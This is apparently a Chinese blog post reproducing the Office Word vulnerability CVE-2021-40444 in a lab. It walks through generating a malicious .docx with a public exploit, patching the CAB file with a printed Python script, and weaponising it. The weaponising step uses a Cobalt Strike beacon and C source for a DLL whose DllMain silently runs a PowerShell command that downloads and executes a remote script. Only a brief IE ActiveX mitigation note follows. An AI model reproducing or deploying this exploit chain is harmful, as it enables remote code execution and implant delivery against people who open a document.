CVE-2021-40444
Office Word的一个1day,首先来复现一下使用,如果直接运行会显示CAB file建立时出错,需要先安装lacb。这里使用Tools老哥的一个方法,直接安装:
wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
tar zxvf lcab_1.0b12.orig.tar.gz
cd lcab-1.0b12
./configure
make
sudo make install
which lcab
使用项目地址:https://github.com/lockedbyte/CVE-2021-40444
利用文档中给出的方法执行:
python3 exploit.py generate test/calc.dll http://192.168.111.130:5555
然后监听
python3 exploit.py host 5555
把在out文件夹下生成的document.docx拷贝到Windows下,此处的office2019,16.0.13929版本。运行docx文件,可以看到交互过程
于是就可以弹出计算器
从请求上看,有一个word.html文件,在srv目录下。打开查看,OK 看不懂。。。看样子是做了混淆?不过任然可以依稀看到ActiveXObject,这个大概跟利用ActiveX控件有关。
可以来美化一下,虽然依旧看不懂就是。不过从中间大概可以看到几个关键点,XMLHttpRequest发起的请求,地址为http://192.168.111.130:5555/word.cab。所以这个cab文件才是真正执行的文件?
利用7z打开这个cab文件,文件标头为4D 53 43 46
,虽然这个文件只有224K,但是里面有一个名为msword.inf的文件,大小为1G左右。这不太对。这个文件也在上面的js中提到过,所以大概是需要解压出来,想办法提取一下这个文件。
该文件是Windows的压缩格式,一般是作为安装包文件。利用Kali下的cabextract来解压。没有的话直接安装就行。
cabextract --list word.cab
执行报错,这个文件不能正常解压提取,说明不是一个正经的cab文件。看一下python的处理代码
可以发现其实msword.inf就是word.dll。这个dll文件就是一开始传入的calc.dll重命名来的。后面用lcab来生成cab文件,然后用函数patch_cab来处理这个cab文件。这么我们先把这个处理前生成的cab文件保存一下。
execute_cmd('lcab out.cab out2.cab')
获取到out2.cab,这个文件可以正常解压查看,所以我们先尝试是否能自己生成一个cab文件,利用dll来转换。
用cobaltstrike生成一个DLL文件,按照转换方式来处理一下。先改个名字,此处用的beacon作为名字,那么word.html中也要做相应的修改。或者把名字改为msword。
然后需要patch一下,原项目中存在patch脚本,修改为类似如下:
#!/usr/bin/env python3
# Patch cab file
m_off = 0x2d
f = open('./beacon.cab','rb')
cab_data = f.read()
f.close()
out_cab_data = cab_data[:m_off]
out_cab_data += b'\x00\x5c\x41\x00'
out_cab_data += cab_data[m_off+4:]
out_cab_data = out_cab_data.replace(b'..\\beacon.inf', b'../beacon.inf')
f = open('./beacon2.cab','wb')
f.write(out_cab_data)
f.close()
但是在执行过程中并没有上线,不确定原因,可能是DLL的问题?CS生成的DLL不能直接拿来用?
使用C代码编译生成一个DLL,利用如下代码,编译执行即可。
#include <windows.h>
void exec(void) {
system("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.111.130:80/a'))\"");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译
apt-get install gcc-mingw-w64
i686-w64-mingw32-gcc -shared beacon.c -o beacon.dll
把文件放到test目录下,执行上面的命令。
减轻影响
这个是利用ActiveX控件来执行的,而这个控件只有IE支持,到IE的选项-安全中,自定义安全级别,在运行ActiveX控件和插件选项中选择禁用。
参考地址:
https://github.com/lockedbyte/CVE-2021-40444